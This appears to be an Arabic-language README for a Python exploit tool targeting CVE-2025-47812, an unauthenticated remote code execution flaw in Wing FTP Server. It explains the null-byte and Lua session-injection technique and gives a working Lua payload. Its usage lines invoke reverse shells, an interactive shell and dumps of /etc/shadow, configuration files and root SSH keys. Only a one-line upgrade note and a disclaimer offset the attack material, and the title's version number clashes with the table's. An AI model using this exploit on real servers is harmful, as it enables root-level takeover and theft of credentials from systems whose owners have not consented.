
RCE لـ WingFTP v4.7.3
██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗████████╗██████╗
██║ ██║██║████╗ ██║██╔════╝ ██╔════╝╚══██╔══╝██╔══██╗
██║ █╗ ██║██║██╔██╗ ██║██║ ███╗ █████╗ ██║ ██████╔╝
██║███╗██║██║██║╚██╗██║██║ ██║ ██╔══╝ ██║ ██╔═══╝
╚███╔███╔╝██║██║ ╚████║╚██████╔╝ ██║ ██║ ██║
╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2025-47812 |
| المتأثر | Wing FTP Server <= 7.4.3 |
| تم الإصلاح في | Wing FTP Server 7.4.4 |
| CVSS | 10.0 (حرج) |
| مطلوب توثيق | لا (يكفي تسجيل الدخول كمجهول) |
| الصلاحية المكتسبة | root (لينكس) / NT AUTHORITY\SYSTEM (ويندوز) |
| اكتشفها | Julien Ahrens (@MrTuxracer) — rcesecurity.com |
الواجهة الإلكترونية لخادم Wing FTP معرضة لهجوم تنفيذ أوامر عن بعد (RCE) من مرحلتين دون الحاجة إلى توثيق مسبق.
تستخدم الدالة c_CheckUser() في ملف Wing FTP الثنائي دالة strlen() داخلياً، مما يؤدي إلى اقتطاع سلسلة اسم المستخدم عند أول بايت صفري (\x00). وهذا يعني أن اسم مستخدم مثل anonymous%00<بيانات_عشوائية> يمرر عملية التوثيق طالما أن المستخدم anonymous (أو أي مستخدم صالح) موجود.
بعد نجاح التوثيق، يقوم الملف loginok.html باستدعاء rawset(_SESSION, "username", username) باستخدام كامل معامل POST غير المنقى — بما في ذلك كل ما بعد البايت الصفري. ثم يتم تسلسل الجلسة إلى ملف نصي بلغة Lua على القرص عبر SessionModule.save().
نظراً لأن دالة التسلسل تلف قيم السلسلة النصية داخل [[...]] محددات النصوص الطويلة في Lua دون أي تنقية، فإن حقن ]] في اسم المستخدم ينهي المحدد مبكراً، مما يسمح بإلحاق كود Lua تعسفي بملف الجلسة.
بنية الحمولة:
anonymous\x00]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--
تعمل -- في النهاية على تعليق ]] الذي يلحقه Wing FTP بعد القيمة.
ملف الجلسة (الذي يحمل اسم قيمة كوكي UID) هو نص Lua يتم تنفيذه عبر loadfile() + f() عند الوصول إلى أي نقطة نهاية موثقة. إرسال طلب POST /dir.html مع كوكي UID ينفذ كود Lua المحقون ويعيد إخراج الأمر في جسم الاستجابة، قبل محتوى <?xml.
requests, urllib3pip install -r requirements.txt
usage: CVE-2025-47812 [-h] [-U USER] [-P PASS] [--vhost HOST] [--timeout N]
[--verify-ssl]
[--cmd CMD | --shell | --revshell | --dump]
[--lhost IP] [--lport PORT] [--listen]
target
# Single command
python3 CVE-2025-47812.py http://ftp.target.com --cmd "id"
python3 CVE-2025-47812.py http://ftp.target.com --cmd "cat /etc/passwd"
# Target by IP (Wing FTP uses virtual-host routing — supply hostname with --vhost)
python3 CVE-2025-47812.py http://10.10.10.10 --vhost ftp.target.com --cmd "id"
# Interactive pseudo-shell
python3 CVE-2025-47812.py http://ftp.target.com --shell
# Reverse shell (start nc listener separately)
python3 CVE-2025-47812.py http://ftp.target.com --revshell --lhost 10.10.14.5 --lport 4444
# Reverse shell with built-in listener
python3 CVE-2025-47812.py http://ftp.target.com --revshell --listen --lhost 10.10.14.5 --lport 4444
# Dump sensitive files (/etc/passwd, /etc/shadow, Wing.cfg, root SSH key)
python3 CVE-2025-47812.py http://ftp.target.com --dump
# With non-anonymous credentials
python3 CVE-2025-47812.py http://ftp.target.com -U ftpuser -P secret --cmd "whoami"
قم بترقية Wing FTP Server إلى الإصدار 7.4.4 أو أحدث.
هذه الأداة مقدمة لأغراض تعليمية واختبارات الاختراق المصرح بها فقط. تشغيل هذا الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني وغير أخلاقي. لا يتحمل المؤلف أي مسؤولية عن أي استخدام خاطئ.